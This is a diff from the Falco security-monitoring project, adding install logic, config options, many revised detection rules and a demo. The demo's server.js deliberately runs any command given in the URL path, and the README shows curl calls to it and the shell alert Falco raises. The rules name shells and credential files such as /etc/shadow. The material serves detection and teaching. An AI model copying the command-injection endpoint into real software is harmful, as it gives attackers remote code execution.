+
+echo "* Detecting operating system"
+
+ARCH=$(uname -m)
+if [[ ! $ARCH = *86 ]] && [ ! $ARCH = "x86_64" ]; then
+	unsupported
+fi
+
+if [ -f /etc/debian_version ]; then
+	if [ -f /etc/lsb-release ]; then
+		. /etc/lsb-release
+		DISTRO=$DISTRIB_ID
+		VERSION=${DISTRIB_RELEASE%%.*}
+	else
+		DISTRO="Debian"
+		VERSION=$(cat /etc/debian_version | cut -d'.' -f1)
+	fi
+
+	case "$DISTRO" in
+
+		"Ubuntu")
+			if [ $VERSION -ge 10 ]; then
+				install_deb
+			else
+				unsupported
+			fi
+			;;
+
+		"LinuxMint")
+			if [ $VERSION -ge 9 ]; then
+				install_deb
+			else
+				unsupported
+			fi
+			;;
+
+		"Debian")
+			if [ $VERSION -ge 6 ]; then
+				install_deb
+			elif [[ $VERSION == *sid* ]]; then
+				install_deb
+			else
+				unsupported
+			fi
+			;;
+
+		*)
+			unsupported
+			;;
+
+	esac
+
+elif [ -f /etc/system-release-cpe ]; then
+	DISTRO=$(cat /etc/system-release-cpe | cut -d':' -f3)
+	VERSION=$(cat /etc/system-release-cpe | cut -d':' -f5 | cut -d'.' -f1 | sed 's/[^0-9]*//g')
+
+	case "$DISTRO" in
+
+		"oracle" | "centos" | "redhat")
+			if [ $VERSION -ge 6 ]; then
+				install_rpm
+			else
+				unsupported
+			fi
+			;;
+
+		"amazon")
+			install_rpm
+			;;
+
+		"fedoraproject")
+			if [ $VERSION -ge 13 ]; then
+				install_rpm
+			else
+				unsupported
+			fi
+			;;
+
+		*)
+			unsupported
+			;;
+
+	esac
+
+else
+	unsupported
+fi

examples/nodejs-bad-rest-api/README.md

@@ -0,0 +1,66 @@
+#Demo of falco with bash exec via poorly designed REST API.
+
+## Introduction
+
+This example shows how a server could have a poorly designed API that
+allowed a client to execute arbitrary programs on the server, and how
+that behavior can be detected using Sysdig Falco.
+
+`server.js` in this directory defines the server. The poorly designed
+API is this route handler:
+
+```javascript
+router.get('/exec/:cmd', function(req, res) {
+    var output = child_process.execSync(req.params.cmd);
+    res.send(output);
+});
+
+app.use('/api', router);
+```
+
+It blindly takes the url portion after `/api/exec/<cmd>` and tries to
+execute it. A horrible design choice(!), but allows us to easily show
+Sysdig falco's capabilities.
+
+## Demo architecture
+
+### Start everything using docker-compose
+
+From this directory, run the following:
+
+```
+$ docker-compose -f demo.yml up
+```
+
+This starts the following containers:
+
+* express_server: simple express server exposing a REST API under the endpoint `/api/exec/<cmd>`.
+* falco: will detect when you execute a shell via the express server.
+
+### Access urls under `/api/exec/<cmd>` to run arbitrary commands.
+
+Run the following commands to execute arbitrary commands like 'ls', 'pwd', etc:
+
+```
+$ curl http://localhost:8080/api/exec/ls
+
+demo.yml
+node_modules
+package.json
+README.md
+server.js
+```
+
+```
+$ curl http://localhost:8080/api/exec/pwd
+
+.../examples/nodejs-bad-rest-api
+```
+
+### Try to run bash via `/api/exec/bash`, falco sends alert.
+
+If you try to run bash via `/api/exec/bash`, falco will generate an alert:
+
+```
+falco          | 22:26:53.536628076: Warning Shell spawned in a container other than entrypoint (user=root container_id=6f339b8aeb0a container_name=express_server shell=bash parent=sh cmdline=bash )
+```

examples/nodejs-bad-rest-api/demo.yml

@@ -0,0 +1,23 @@
+# Owned by software vendor, serving install-software.sh.
+express_server:
+  container_name: express_server
+  image: node:latest
+  working_dir: /usr/src/app
+  command: bash -c "npm install && node server.js"
+  ports:
+    - "8080:8080"
+  volumes:
+        - ${PWD}:/usr/src/app
+
+falco:
+  container_name: falco
+  image: sysdig/falco:latest
+  privileged: true
+  volumes:
+    - /var/run/docker.sock:/host/var/run/docker.sock
+    - /dev:/host/dev
+    - /proc:/host/proc:ro
+    - /boot:/host/boot:ro
+    - /lib/modules:/host/lib/modules:ro
+    - /usr:/host/usr:ro
+  tty: true

examples/nodejs-bad-rest-api/package.json

@@ -0,0 +1,7 @@
+{
+    "name": "bad-rest-api",
+    "main": "server.js",
+    "dependencies": {
+	"express": "~4.0.0"
+    }
+}

examples/nodejs-bad-rest-api/server.js

@@ -0,0 +1,25 @@
+var express    = require('express');        // call express
+var app        = express();                 // define our app using express
+var child_process = require('child_process');
+
+var port = process.env.PORT || 8080;        // set our port
+
+// ROUTES FOR OUR API
+// =============================================================================
+var router = express.Router();              // get an instance of the express Router
+
+// test route to make sure everything is working (accessed at GET http://localhost:8080/api)
+router.get('/', function(req, res) {
+    res.json({ message: 'API available'});
+});
+
+router.get('/exec/:cmd', function(req, res) {
+    var ret = child_process.spawnSync(req.params.cmd, { shell: true});
+    res.send(ret.stdout);
+});
+
+app.use('/api', router);
+
+app.listen(port);
+console.log('Server running on port: ' + port);
+

falco.yaml

@@ -9,6 +9,27 @@ json_output: false
 log_stderr: true
 log_syslog: true
 
+# Minimum log level to include in logs. Note: these levels are
+# separate from the priority field of rules. This refers only to the
+# log level of falco's internal logging. Can be one of "emergency",
+# "alert", "critical", "error", "warning", "notice", "info", "debug".
+log_level: info
+
+# A throttling mechanism implemented as a token bucket limits the
+# rate of falco notifications. This throttling is controlled by the following configuration
+# options:
+#  - rate: the number of tokens (i.e. right to send a notification)
+#    gained per second. Defaults to 1.
+#  - max_burst: the maximum number of tokens outstanding. Defaults to 1000.
+#
+# With these defaults, falco could send up to 1000 notifications after
+# an initial quiet period, and then up to 1 notification per second
+# afterward. It would gain the full burst back after 1000 seconds of
+# no activity.
+
+outputs:
+  rate: 1
+  max_burst: 1000
 
 # Where security notifications should go.
 # Multiple outputs can be enabled.
@@ -23,3 +44,12 @@ file_output:
 stdout_output:
   enabled: true
 
+# Possible additional things you might want to do with program output:
+#   - send to a slack webhook:
+#         program: "jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/XXX"
+#   - logging (alternate method than syslog):
+#         program: logger -t falco-test
+
+program_output:
+  enabled: false
+  program: mail -s "Falco Notification" someone@example.com

rules/CMakeLists.txt

@@ -1,3 +1,19 @@
-install(FILES falco_rules.yaml
-	DESTINATION "${DIR_ETC}")
+if(NOT DEFINED FALCO_ETC_DIR)
+  set(FALCO_ETC_DIR "/etc")
+endif()
+
+if(NOT DEFINED FALCO_RULES_DEST_FILENAME)
+  set(FALCO_RULES_DEST_FILENAME "falco_rules.yaml")
+endif()
+
+if(DEFINED FALCO_COMPONENT)
+install(FILES falco_rules.yaml
+        COMPONENT "${FALCO_COMPONENT}"
+	DESTINATION "${FALCO_ETC_DIR}"
+	RENAME "${FALCO_RULES_DEST_FILENAME}")
+else()
+install(FILES falco_rules.yaml
+        DESTINATION "${FALCO_ETC_DIR}"
+        RENAME "${FALCO_RULES_DEST_FILENAME}")
+endif()
 

rules/falco_rules.yaml

@@ -14,114 +14,202 @@
 #   condition: (syscall.type=read and evt.dir=> and fd.type in (file, directory))
 
 - macro: open_write
-  condition: >
-    (evt.type=open or evt.type=openat) and
-    fd.typechar='f' and
-    (evt.arg.flags contains O_WRONLY or
-    evt.arg.flags contains O_RDWR or
-    evt.arg.flags contains O_CREAT or
-    evt.arg.flags contains O_TRUNC)
+  condition: (evt.type=open or evt.type=openat) and evt.is_open_write=true and fd.typechar='f' and fd.num>=0
+
 - macro: open_read
-  condition: >
-    (evt.type=open or evt.type=openat) and
-    fd.typechar='f' and
-    (evt.arg.flags contains O_RDONLY or
-    evt.arg.flags contains O_RDWR)
+  condition: (evt.type=open or evt.type=openat) and evt.is_open_read=true and fd.typechar='f' and fd.num>=0
 
 - macro: rename
-  condition: syscall.type = rename
+  condition: evt.type = rename
 - macro: mkdir
-  condition: syscall.type = mkdir
+  condition: evt.type = mkdir
 - macro: remove
-  condition: syscall.type in (remove, rmdir, unlink, unlink_at)
+  condition: evt.type in (rmdir, unlink, unlinkat)
 
 - macro: modify
   condition: rename or remove
-  
-- macro: spawn_process
-  condition: syscall.type = execve and evt.dir=<
+
+- macro: spawned_process
+  condition: evt.type = execve and evt.dir=<
 
 # File categories
 - macro: terminal_file_fd
-  condition: fd.name=/dev/ptmx or fd.directory=/dev/pts
+  condition: fd.name=/dev/ptmx or fd.name startswith /dev/pts
+
 - macro: bin_dir
   condition: fd.directory in (/bin, /sbin, /usr/bin, /usr/sbin)
 
 - macro: bin_dir_mkdir
-  condition: evt.arg[0] contains /bin/ or evt.arg[0] contains /sbin/ or evt.arg[0] contains /usr/bin/ or evt.arg[0] contains /usr/sbin/
+  condition: >
+    evt.arg[0] startswith /bin/ or
+    evt.arg[0] startswith /sbin/ or
+    evt.arg[0] startswith /usr/bin/ or
+    evt.arg[0] startswith /usr/sbin/
+
 - macro: bin_dir_rename
-  condition: evt.arg[1] contains /bin/ or evt.arg[1] contains /sbin/ or evt.arg[1] contains /usr/bin/ or evt.arg[1] contains /usr/sbin/
+  condition: >
+    evt.arg[1] startswith /bin/ or
+    evt.arg[1] startswith /sbin/ or
+    evt.arg[1] startswith /usr/bin/ or
+    evt.arg[1] startswith /usr/sbin/
 
 - macro: etc_dir
-  condition: fd.directory contains /etc
+  condition: fd.name startswith /etc
 
 - macro: ubuntu_so_dirs
-  condition: fd.directory contains /lib/x86_64-linux-gnu or fd.directory contains /usr/lib/x86_64-linux-gnu or fd.directory contains /usr/lib/sudo
+  condition: >
+    fd.name startswith /lib/x86_64-linux-gnu or
+    fd.name startswith /usr/lib/x86_64-linux-gnu or
+    fd.name startswith /usr/lib/sudo
+
 - macro: centos_so_dirs
-  condition: fd.directory contains /lib64 or fd.directory contains /user/lib64 or fd.directory contains /usr/libexec
+  condition: >
+    fd.name startswith /lib64 or
+    fd.name startswith /usr/lib64 or
+    fd.name startswith /usr/libexec
+
 - macro: linux_so_dirs
   condition: ubuntu_so_dirs or centos_so_dirs or fd.name=/etc/ld.so.cache
 
-- macro: coreutils_binaries
-  condition: >
-    proc.name in (truncate, sha1sum, numfmt, fmt, fold, uniq, cut, who,
+- list: shell_binaries
+  items: [bash, csh, ksh, sh, tcsh, zsh, dash]
+
+- macro: shell_procs
+  condition: proc.name in (shell_binaries)
+
+- list: coreutils_binaries
+  items: [
+    truncate, sha1sum, numfmt, fmt, fold, uniq, cut, who,
     groups, csplit, sort, expand, printf, printenv, unlink, tee, chcon, stat,
-    basename, split, nice, yes, whoami, sha224sum, hostid, users, stdbuf,
+    basename, split, nice, "yes", whoami, sha224sum, hostid, users, stdbuf,
     base64, unexpand, cksum, od, paste, nproc, pathchk, sha256sum, wc, test,
     comm, arch, du, factor, sha512sum, md5sum, tr, runcon, env, dirname,
     tsort, join, shuf, install, logname, pinky, nohup, expr, pr, tty, timeout,
-    tail, [, seq, sha384sum, nl, head, id, mkfifo, sum, dircolors, ptx, shred,
-    tac, link, chroot, vdir, chown, touch, ls, dd, uname, true, pwd, date,
-    chgrp, chmod, mktemp, cat, mknod, sync, ln, false, rm, mv, cp, echo,
-    readlink, sleep, stty, mkdir, df, dir, rmdir, touch)
-- macro: adduser_binaries
-  condition: proc.name in (adduser, deluser, addgroup, delgroup)
-- macro: login_binaries
-  condition: proc.name in (bin, login, su, sbin, nologin, bin, faillog, lastlog, newgrp, sg)
+    tail, "[", seq, sha384sum, nl, head, id, mkfifo, sum, dircolors, ptx, shred,
+    tac, link, chroot, vdir, chown, touch, ls, dd, uname, "true", pwd, date,
+    chgrp, chmod, mktemp, cat, mknod, sync, ln, "false", rm, mv, cp, echo,
+    readlink, sleep, stty, mkdir, df, dir, rmdir, touch
+    ]
 
-# dpkg -L passwd | grep bin | xargs -L 1 basename | tr "\\n" ","
-- macro: passwd_binaries
-  condition: >
-    proc.name in (sbin, shadowconfig, sbin, grpck, pwunconv, grpconv, pwck,
+# dpkg -L login | grep bin | xargs ls -ld | grep -v '^d' | awk '{print $9}' | xargs -L 1 basename | tr "\\n" ","
+- list: login_binaries
+  items: [
+    login, systemd, '"(systemd)"', systemd-logind, su,
+    nologin, faillog, lastlog, newgrp, sg
+    ]
+
+# dpkg -L passwd | grep bin | xargs ls -ld | grep -v '^d' | awk '{print $9}' | xargs -L 1 basename | tr "\\n" ","
+- list: passwd_binaries
+  items: [
+    shadowconfig, grpck, pwunconv, grpconv, pwck,
     groupmod, vipw, pwconv, useradd, newusers, cppw, chpasswd, usermod,
-    groupadd, groupdel, grpunconv, chgpasswd, userdel, bin, chage, chsh,
-    gpasswd, chfn, expiry, passwd, vigr, cpgr)
+    groupadd, groupdel, grpunconv, chgpasswd, userdel, chage, chsh,
+    gpasswd, chfn, expiry, passwd, vigr, cpgr
+    ]
 
-# repoquery -l shadow-utils | grep bin | xargs -L 1 basename | tr "\\n" ","
-- macro: shadowutils_binaries
-  condition: >
-    proc.name in (chage, gpasswd, lastlog, newgrp, sg, adduser, chpasswd,
-    groupadd, groupdel, groupmems, groupmod, grpck, grpconv, grpunconv,
-    newusers, pwck, pwconv, pwunconv, useradd, userdel, usermod, vigr, vipw)
+# repoquery -l shadow-utils | grep bin | xargs ls -ld | grep -v '^d' |
+#     awk '{print $9}' | xargs -L 1 basename | tr "\\n" ","
+- list: shadowutils_binaries
+  items: [
+    chage, gpasswd, lastlog, newgrp, sg, adduser, deluser, chpasswd,
+    groupadd, groupdel, addgroup, delgroup, groupmems, groupmod, grpck, grpconv, grpunconv,
+    newusers, pwck, pwconv, pwunconv, useradd, userdel, usermod, vigr, vipw, unix_chkpwd
+    ]
 
-- macro: docker_binaries
-  condition: proc.name in (docker, exe)
+- list: sysdigcloud_binaries
+  items: [setup-backend, dragent, sdchecks]
 
-- macro: http_server_binaries
-  condition: proc.name in (nginx, httpd, httpd-foregroun, lighttpd)
+- list: docker_binaries
+  items: [docker, dockerd, exe, docker-compose, docker-entrypoi]
 
-- macro: db_server_binaries
-  condition: proc.name in (mysqld)
+- list: k8s_binaries
+  items: [hyperkube, skydns, kube2sky, exechealthz]
 
-- macro: server_binaries
-  condition: http_server_binaries or db_server_binaries or docker_binaries or proc.name in (sshd)
+- list: lxd_binaries
+  items: [lxd, lxcfs]
 
-- macro: package_mgmt_binaries
-  condition: proc.name in (dpkg, rpm)
+# Utility/etc programs known to run on mesos slaves. Truncation
+# intentional.
+- list: mesos_slave_binaries
+  items: [mesos-health-ch, mesos-docker-ex, mesos-agent, mesos-logrotate, mesos-fetcher]
+
+- list: http_server_binaries
+  items: [nginx, httpd, httpd-foregroun, lighttpd]
+
+- list: db_server_binaries
+  items: [mysqld]
+
+- list: gitlab_binaries
+  items: [gitlab-shell, gitlab-mon, gitlab-runner-b, git]
+
+- macro: server_procs
+  condition: proc.name in (http_server_binaries, db_server_binaries, docker_binaries, sshd)
+
+# The explicit quotes are needed to avoid the - characters being
+# interpreted by the filter expression.
+- list: rpm_binaries
+  items: [dnf, rpm, rpmkey, yum, '"75-system-updat"']
+
+- macro: rpm_procs
+  condition: proc.name in (rpm_binaries)
+
+- list: deb_binaries
+  items: [dpkg, dpkg-preconfigu, apt, apt-get, aptitude,
+    frontend, preinst, add-apt-reposit, apt-auto-remova, apt-key,
+    apt-listchanges, unattended-upgr
+    ]
+
+# The truncated dpkg-preconfigu is intentional, process names are
+# truncated at the sysdig level.
+- list: package_mgmt_binaries
+  items: [rpm_binaries, deb_binaries, update-alternat]
+
+- macro: package_mgmt_procs
+  condition: proc.name in (package_mgmt_binaries)
+
+- list: ssl_mgmt_binaries
+  items: [ca-certificates]
+
+- list: dhcp_binaries
+  items: [dhclient, dhclient-script]
 
 # A canonical set of processes that run other programs with different
 # privileges or as a different user.
-- macro: userexec_binaries
-  condition: proc.name in (sudo, su)
+- list: userexec_binaries
+  items: [sudo, su]
 
-- macro: system_binaries
-  condition: coreutils_binaries or adduser_binaries or login_binaries or passwd_binaries or shadowutils_binaries
+- list: user_mgmt_binaries
+  items: [login_binaries, passwd_binaries, shadowutils_binaries]
 
-- macro: mail_binaries
-  condition: proc.name in (sendmail, postfix, procmail)
+- list: dev_creation_binaries
+  items: [blkid, rename_device]
+
+- list: aide_wrapper_binaries
+  items: [aide.wrapper, update-aide.con]
+
+- list: hids_binaries
+  items: [aide]
+
+- list: nids_binaries
+  items: [bro, broctl]
+
+- list: monitoring_binaries
+  items: [icinga2, nrpe, npcd, check_sar_perf.]
+
+- macro: system_procs
+  condition: proc.name in (coreutils_binaries, user_mgmt_binaries)
+
+- list: mail_binaries
+  items: [sendmail, sendmail-msp, postfix, procmail, exim4, pickup, showq]
+
+- list: make_binaries
+  items: [make, gmake, cmake]
 
 - macro: sensitive_files
-  condition: fd.name contains /etc/shadow or fd.name = /etc/sudoers or fd.directory = /etc/sudoers.d or fd.directory = /etc/pam.d or fd.name = /etc/pam.conf
+  condition: >
+    fd.name startswith /etc and
+    (fd.name in (/etc/shadow, /etc/sudoers, /etc/pam.conf)
+     or fd.directory in (/etc/sudoers.d, /etc/pam.d))
 
 # Indicates that the process is new. Currently detected using time
 # since process was started, using a threshold of 5 seconds.
@@ -130,84 +218,215 @@
 
 # Network
 - macro: inbound
-  condition: (syscall.type=listen and evt.dir=>) or (syscall.type=accept and evt.dir=<)
+  condition: ((evt.type=listen and evt.dir=>) or (evt.type=accept and evt.dir=<))
 
-# Currently sendto is an ignored syscall, otherwise this could also check for (syscall.type=sendto and evt.dir=>)
+# Currently sendto is an ignored syscall, otherwise this could also
+# check for (evt.type=sendto and evt.dir=>)
 - macro: outbound
-  condition: syscall.type=connect and evt.dir=< and (fd.typechar=4 or fd.typechar=6)
+  condition: evt.type=connect and evt.dir=< and (fd.typechar=4 or fd.typechar=6)
 
 - macro: ssh_port
   condition: fd.lport=22
 
 # Ssh
 - macro: ssh_error_message
-  condition: evt.arg.data contains "Invalid user" or evt.arg.data contains "preauth"
+  condition: >
+    (evt.arg.data contains "Invalid user" or
+    evt.arg.data contains "preauth" or
+    evt.arg.data contains "Failed password")
 
 # System
 - macro: modules
-  condition: syscall.type in (delete_module, init_module)
+  condition: evt.type in (delete_module, init_module)
+
+# Use this to test whether the event occurred within a container.
+
+# When displaying container information in the output field, use
+# %container.info, without any leading term (file=%fd.name
+# %container.info user=%user.name, and not file=%fd.name
+# container=%container.info user=%user.name). The output will change
+# based on the context and whether or not -pk/-pm/-pc was specified on
+# the command line.
 - macro: container
   condition: container.id != host
+
 - macro: interactive
-  condition: (proc.aname=sshd and proc.name != sshd) or proc.name=systemd-logind
+  condition: >
+    ((proc.aname=sshd and proc.name != sshd) or
+    proc.name=systemd-logind or proc.name=login)
+
 - macro: syslog
-  condition: fd.name = /dev/log
-- macro: cron
-  condition: proc.name in (cron, crond)
-- macro: parent_cron
-  condition: proc.pname in (cron, crond)
+  condition: fd.name in (/dev/log, /run/systemd/journal/syslog)
+
+- list: cron_binaries
+  items: [anacron, cron, crond]
 
 # System users that should never log into a system. Consider adding your own
 # service users (e.g. 'apache' or 'mysqld') here.
 - macro: system_users
   condition: user.name in (bin, daemon, games, lp, mail, nobody, sshd, sync, uucp, www-data)
 
+# SPECIAL NOTE: This macro eliminates false positives that result from
+# running python scripts as a part of ansible. However, the condition
+# that the command line contains "ansible" is very
+# permissive. Ideally, you should change this macro to explicitly
+# scope the python scripts to a specific directory (namely, your
+# configured remote_tmp directory).
+- macro: parent_ansible_running_python
+  condition: (proc.pname in (python, pypy) and proc.pcmdline contains ansible)
+
+- macro: ansible_running_python
+  condition: (proc.name in (python, pypy) and proc.cmdline contains ansible)
+
+- macro: python_running_denyhosts
+  condition: >
+    (proc.name=python and
+    (proc.cmdline contains /usr/sbin/denyhosts or
+     proc.cmdline contains /usr/local/bin/denyhosts.py))
+
+- macro: parent_python_running_denyhosts
+  condition: >
+    (proc.pname=python and
+    (proc.pcmdline contains /usr/sbin/denyhosts or
+     proc.pcmdline contains /usr/local/bin/denyhosts.py))
+
+- macro: parent_python_running_sdchecks
+  condition: >
+    (proc.name in (python, python2.7) and
+    (proc.cmdline contains /opt/draios/bin/sdchecks))
+
+- macro: parent_bro_running_python
+  condition: (proc.pname=python and proc.cmdline contains /usr/share/broctl)
+
+- macro: parent_java_running_jenkins
+  condition: >
+    (proc.pname=java and proc.pcmdline contains jenkins.war
+    or proc.pcmdline contains /tmp/slave.jar)
+
+# As a part of kernel upgrades, dpkg will spawn a perl script with the
+# name linux-image-N.N. This macro matches that.
+- macro: parent_linux_image_upgrade_script
+  condition: proc.pname startswith linux-image-
+
+- macro: java_running_sdjagent
+  condition: proc.name=java and proc.cmdline contains sdjagent.jar
 
 ###############
 # General Rules
 ###############
 
-- rule: write_binary_dir
+- rule: Write below binary dir
   desc: an attempt to write to any file below a set of binary directories
-  condition: evt.dir = > and open_write and bin_dir
-  output: "File below a known binary directory opened for writing (user=%user.name command=%proc.cmdline file=%fd.name)"
-  priority: WARNING
+  condition: bin_dir and evt.dir = < and open_write and not package_mgmt_procs
+  output: >
+    File below a known binary directory opened for writing (user=%user.name
+    command=%proc.cmdline file=%fd.name)
+  priority: ERROR
+  tags: [filesystem]
 
-- rule: write_etc
-  desc: an attempt to write to any file below /etc
-  condition: evt.dir = > and open_write and etc_dir
+- macro: write_etc_common
+  condition: >
+    etc_dir and evt.dir = < and open_write
+    and not proc.name in (passwd_binaries, shadowutils_binaries, sysdigcloud_binaries,
+                          package_mgmt_binaries, ssl_mgmt_binaries, dhcp_binaries,
+                          dev_creation_binaries,
+                          ldconfig.real, ldconfig, confd, gpg, insserv,
+                          apparmor_parser, update-mime, tzdata.config, tzdata.postinst,
+                          systemd-machine, debconf-show, rollerd, bind9.postinst, sv,
+                          gen_resolvconf.)
+    and not proc.pname in (sysdigcloud_binaries)
+    and not fd.directory in (/etc/cassandra, /etc/ssl/certs/java)
+    and not ansible_running_python
+    and not python_running_denyhosts
+
+- rule: Write below etc
+  desc: an attempt to write to any file below /etc, not in a pipe installer session
+  condition: write_etc_common and not proc.sname=fbash
   output: "File below /etc opened for writing (user=%user.name command=%proc.cmdline file=%fd.name)"
-  priority: WARNING
+  priority: ERROR
+  tags: [filesystem]
 
-- rule: read_sensitive_file_untrusted
-  desc: an attempt to read any sensitive file (e.g. files containing user/password/authentication information). Exceptions are made for known trusted programs.
-  condition: open_read and not server_binaries and not userexec_binaries and not proc.name in (iptables, ps, systemd-logind, lsb_release, check-new-relea, dumpe2fs, accounts-daemon, bash) and not cron and sensitive_files
-  output: "Sensitive file opened for reading by non-trusted program (user=%user.name command=%proc.cmdline file=%fd.name)"
-  priority: WARNING
+# Within a fbash session, the severity is lowered to INFO
+- rule: Write below etc in installer
+  desc: an attempt to write to any file below /etc, in a pipe installer session
+  condition: write_etc_common and proc.sname=fbash
+  output: >
+    File below /etc opened for writing (user=%user.name command=%proc.cmdline
+    file=%fd.name) within pipe installer session
+  priority: INFO
+  tags: [filesystem]
 
-- rule: read_sensitive_file_trusted_after_startup
-  desc: an attempt to read any sensitive file (e.g. files containing user/password/authentication information) by a trusted program after startup. Trusted programs might read these files at startup to load initial state, but not afterwards.
-  condition: open_read and server_binaries and not proc_is_new and sensitive_files
-  output: "Sensitive file opened for reading by trusted program after startup (user=%user.name command=%proc.cmdline file=%fd.name)"
-  priority: WARNING
+- macro: cmp_cp_by_passwd
+  condition: proc.name in (cmp, cp) and proc.pname=passwd
 
-- rule: db_program_spawn_process
-  desc: a database-server related program spawning a new process after startup. This shouldn\'t occur and is a follow on from some SQL injection attacks.
-  condition: db_server_binaries and not proc_is_new and spawn_process
-  output: "Database-related program spawned new process after startup (user=%user.name command=%proc.cmdline)"
+- rule: Read sensitive file trusted after startup
+  desc: >
+    an attempt to read any sensitive file (e.g. files containing user/password/authentication
+    information) by a trusted program after startup. Trusted programs might read these files
+    at startup to load initial state, but not afterwards.
+  condition: sensitive_files and open_read and server_procs and not proc_is_new and proc.name!="sshd"
+  output: >
+    Sensitive file opened for reading by trusted program after startup (user=%user.name
+    command=%proc.cmdline file=%fd.name)
   priority: WARNING
+  tags: [filesystem]
 
-- rule: modify_binary_dirs
+- list: read_sensitive_file_binaries
+  items: [iptables, ps, lsb_release, check-new-relea, dumpe2fs, accounts-daemon, sshd, vsftpd, systemd]
+
+- rule: Read sensitive file untrusted
+  desc: >
+    an attempt to read any sensitive file (e.g. files containing user/password/authentication
+    information). Exceptions are made for known trusted programs.
+  condition: >
+    sensitive_files and open_read
+    and not proc.name in (user_mgmt_binaries, userexec_binaries, package_mgmt_binaries,
+     cron_binaries, read_sensitive_file_binaries, shell_binaries, hids_binaries)
+    and not cmp_cp_by_passwd
+    and not ansible_running_python
+    and not proc.cmdline contains /usr/bin/mandb
+  output: >
+    Sensitive file opened for reading by non-trusted program (user=%user.name name=%proc.name
+    command=%proc.cmdline file=%fd.name)
+  priority: WARNING
+  tags: [filesystem]
+
+# Only let rpm-related programs write to the rpm database
+- rule: Write below rpm database
+  desc: an attempt to write to the rpm database by any non-rpm related program
+  condition: fd.name startswith /var/lib/rpm and open_write and not rpm_procs and not ansible_running_python
+  output: "Rpm database opened for writing by a non-rpm program (command=%proc.cmdline file=%fd.name)"
+  priority: ERROR
+  tags: [filesystem, software_mgmt]
+
+- rule: DB program spawned process
+  desc: >
+    a database-server related program spawned a new process other than itself.
+    This shouldn\'t occur and is a follow on from some SQL injection attacks.
+  condition: proc.pname in (db_server_binaries) and spawned_process and not proc.name in (db_server_binaries)
+  output: >
+    Database-related program spawned process other than itself (user=%user.name
+    program=%proc.cmdline parent=%proc.pname)
+  priority: NOTICE
+  tags: [process, database]
+
+- rule: Modify binary dirs
   desc: an attempt to modify any file below a set of binary directories.
-  condition: modify and bin_dir_rename and not package_mgmt_binaries
-  output: "File below known binary directory renamed/removed (user=%user.name command=%proc.cmdline operation=%evt.type file=%fd.name %evt.args)"
-  priority: WARNING
+  condition: bin_dir_rename and modify and not package_mgmt_procs
+  output: >
+    File below known binary directory renamed/removed (user=%user.name command=%proc.cmdline
+    operation=%evt.type file=%fd.name %evt.args)
+  priority: ERROR
+  tags: [filesystem]
 
-- rule: mkdir_binary_dirs
+- rule: Mkdir binary dirs
   desc: an attempt to create a directory below a set of binary directories.
-  condition: mkdir and bin_dir_mkdir and not package_mgmt_binaries
-  output: "Directory below known binary directory created (user=%user.name command=%proc.cmdline directory=%evt.arg.path)"
-  priority: WARNING
+  condition: mkdir and bin_dir_mkdir and not package_mgmt_procs
+  output: >
+    Directory below known binary directory created (user=%user.name
+    command=%proc.cmdline directory=%evt.arg.path)
+  priority: ERROR
+  tags: [filesystem]
 
 # Don't load shared objects coming from unexpected places
 # Commenting this out for now--there are lots of shared library
@@ -218,85 +437,283 @@
 #   output: "Loaded .so from unexpected dir (%user.name %proc.name %evt.dir %evt.type %evt.args %fd.name)"
 #   priority: WARNING
 
-- rule: syscall_returns_eaccess
-  desc: any system call that returns EACCESS. This is not always a strong indication of a problem, hence the INFO priority.
-  condition: evt.res = EACCESS
-  output: "System call returned EACCESS (user=%user.name command=%proc.cmdline syscall=%evt.type args=%evt.args)"
-  priority: INFO
+# Temporarily disabling this rule as it's tripping over https://github.com/draios/sysdig/issues/598
+# - rule: Syscall returns eaccess
+#   desc: >
+#     any system call that returns EACCESS. This is not always a strong
+#      indication of a problem, hence the INFO priority.
+#   condition: evt.res = EACCESS
+#   output: >
+#     System call returned EACCESS (user=%user.name command=%proc.cmdline
+#     syscall=%evt.type args=%evt.args)
+#   priority: INFO
 
-- rule: change_thread_namespace
-  desc: an attempt to change a program/thread\'s namespace (commonly done as a part of creating a container) by calling setns.
-  condition: syscall.type = setns and not proc.name in (docker, sysdig, dragent)
-  output: "Namespace change (setns) by unexpected program (user=%user.name command=%proc.cmdline container=%container.id)"
-  priority: WARNING
+- rule: Change thread namespace
+  desc: >
+    an attempt to change a program/thread\'s namespace (commonly done
+    as a part of creating a container) by calling setns.
+  condition: >
+    evt.type = setns
+    and not proc.name in (docker_binaries, k8s_binaries, lxd_binaries, sysdigcloud_binaries, sysdig, nsenter)
+    and not proc.name startswith "runc:"
+    and not proc.pname in (sysdigcloud_binaries)
+    and not java_running_sdjagent
+  output: >
+    Namespace change (setns) by unexpected program (user=%user.name command=%proc.cmdline
+    parent=%proc.pname %container.info)
+  priority: NOTICE
+  tags: [process]
 
-- rule: run_shell_untrusted
+- list: known_shell_spawn_binaries
+  items: [
+    sshd, sudo, su, tmux, screen, emacs, systemd, login, flock, fbash,
+    nginx, monit, supervisord, dragent, aws, initdb, docker-compose,
+    configure, awk, falco, fail2ban-server, fleetctl,
+    logrotate, ansible, less, adduser, pycompile, py3compile,
+    pyclean, py3clean, pip, pip2, ansible-playboo, man-db,
+    init, pluto, mkinitramfs, unattended-upgr, watch, sysdig,
+    landscape-sysin, nessusd, PM2, syslog-summary, erl_child_setup,
+    npm, cloud-init, toybox, ceph
+    ]
+
+- rule: Run shell untrusted
   desc: an attempt to spawn a shell by a non-shell program. Exceptions are made for trusted binaries.
-  condition: proc.name = bash and evt.dir=< and evt.type=execve and proc.pname exists and not parent_cron and not proc.pname in (bash, sshd, sudo, docker, su, tmux, screen, emacs, systemd, flock, fs-bash, nginx, monit, supervisord)
-  output: "Shell spawned by untrusted binary (user=%user.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)"
-  priority: WARNING
+  condition: >
+    spawned_process and not container
+    and shell_procs
+    and proc.pname exists
+    and not proc.pname in (cron_binaries, shell_binaries, make_binaries, known_shell_spawn_binaries, docker_binaries,
+                           k8s_binaries, package_mgmt_binaries, aide_wrapper_binaries, nids_binaries,
+                           monitoring_binaries, gitlab_binaries, mesos_slave_binaries)
+    and not parent_ansible_running_python
+    and not parent_bro_running_python
+    and not parent_python_running_denyhosts
+    and not parent_python_running_sdchecks
+    and not parent_linux_image_upgrade_script
+    and not parent_java_running_jenkins
+  output: >
+    Shell spawned by untrusted binary (user=%user.name shell=%proc.name parent=%proc.pname
+    cmdline=%proc.cmdline pcmdline=%proc.pcmdline)
+  priority: DEBUG
+  tags: [host, shell]
+
+- macro: trusted_containers
+  condition: (container.image startswith sysdig/agent or
